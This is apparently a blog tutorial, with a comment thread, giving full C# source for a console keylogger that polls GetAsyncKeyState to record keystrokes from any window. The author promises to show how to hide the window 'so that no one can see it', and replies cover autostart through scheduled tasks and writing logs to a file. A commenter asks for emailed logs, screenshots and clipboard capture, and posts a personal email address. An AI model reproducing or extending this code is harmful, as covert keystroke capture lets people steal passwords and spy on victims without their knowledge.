Hi last few days I was trying to capture key strokes using C#, but could not find any way to capture keystrokes while the Console application was not focused. Apparently I found some C++ approach here . Oh that was so creepy to me since I’m more familiar with C#. I begin code myself to implement a key logger using C#. So here it is.
Start with adding new console project to your solution (I used Framework version 3.0). To make this easy I added reference to System.Windows.Froms where Keys enum resides.
And also need to add a DllImport to User32.dll which will help to know the current state of a particular key. So here is the Code segment.
using System; using System.Runtime.InteropServices; using System.Threading; using System.Windows.Forms; namespace KeyLogger { class Program { [DllImport("user32.dll")] public static extern int GetAsyncKeyState(Int32 i); static void Main(string[] args) { StartLogging(); } static void StartLogging() { while (true) { //sleeping for while, this will reduce load on cpu Thread.Sleep(10); for (Int32 i = 0; i < 255; i++) { int keyState = GetAsyncKeyState(i); if (keyState == 1 || keyState == -32767) { Console.WriteLine((Keys)i); break; } } } } } }
Testing with notepad
That’s it for now J I’ll post how to add few another enhancements like hiding console window so that no one can see it and how to log/retrieve key strokes without affecting much performance of the computer.
I'm using Microsoft Visual C# 2010 Express. I copied the code and added the corresponding references. The VC# says everything is ok, but when I open the program, it just doesn't do nothing. It just stays like waiting for you to type something.
ReplyDeleteWhat you think is the problem?
Update:
ReplyDeleteWell, when I removed the "break;", the program felt like started working. But, it dowsn't get all keys it misses some keys. Also, it best work with "Thread.Sleep(100);" and above, instead of 10. If I use lower values, the program mostly doesn't works.
Hi Thiago, Thanks for the comment I think problem is with the implementation of the program. It checks all key states every 10 milliseconds time (that's what the for loop does). And the break is for once found a pressed key state for a particular key it ignores rest for that 10 millisecond. Try reducing Thread.sleep to 1 might work.
DeleteReducing Thread.Sleep to 1 didn't work. It just stay like nothing was happening. At 1000 ms, it looks to get all keys, but they're mixed. I really can't understand what's wrong here. The code looks to be pretty right. Also, I'm pretty sure my code is exactly as yours and all .NET runtimes are installed.
DeleteIncredibly awesome, what I'm little confused about is, if(keystate==1||-32767), what does that mean?
ReplyDeleteHi Bitpocketer, this is how it tracks whether key pressed or not;
DeleteKeyState == -32767 means, the key is down (most significant bit is set), and
KeyState == 1 means (least significant bit is set), the key was pressed after the previous call to GetAsyncKeyState. for further explanation please refer this MSDN article
Works very well for me. But it will be awesome if we get to know how to start this program when operating system is loading and how to hide.
ReplyDeleteHI julieboolie,
DeleteTo automatically load : There are couple of ways, but the easiest way is adding a scheduled task to particular machine - this can be done grammatically as well. To Hide : Part 2 shows how to hide the window.
it's working fine with .net frame work 4.5 and above but doesnt work with framework 4.0 and below
ReplyDeleteso?
Deletewhere is the text file saved?
ReplyDeleteIn this example the text is not saved to a file. Instead, the text information is stored in RAM as a Weak Reference until the executable closes. Once the program closes, the text information is freed from memory. In another example the author explains how to email the logged information. You could also use a SteamWriter to write the log to a local text file:
Deletestring log = "";
// Export the contents of the log string to a local text file
System.IO.File.WriteAllLines(@"C:\Users\Public\TestFolder\keylog.txt", log);
Hi, Would you please tell me the significance of 255 used in the for loop condition. Is it some number related to keyboard?
ReplyDeleteThank you
The 255 in the for loop is used to identify which key is being pressed. Keys are assigned unique integer values between 0 and 255. Essentially, what the for-loop is saying in simpler terms is:
Delete"Every 10 milliseconds the program will individually check keys 0 through 255 to see if that key is being pressed. If so, the keyState for that key will be either 0 or -32767. When the keyState of a key identifies a key as being pressed, a Key object is instantiated for that integer index and the value of that object is written to a line."
The Key object is instantiated by the identifier for that key in the (Key)i part of the code.
Thanks for your explanation Jacob.
Deletehow to get capital and small letters in this program???
ReplyDeletehey friend i want some more features code like sending logfile via email,screenshots ,clipboard etc.. Please help me because it's my BE(Bachelor of Engineering ) project. So friend please help me...I really need your help....Can u please send me sourcecode ... My email id is sweetpriyasingh1994@gmail.com
ReplyDeleteHow to save all ram info into a text file??
ReplyDeleteThanks buddy!
ReplyDeleteIt's working well!
Console.WriteLine((Keys)i); it isn't working .. why ?
ReplyDeleteI added reference to System.Windows.Froms
Deletethanks it working very well
ReplyDelete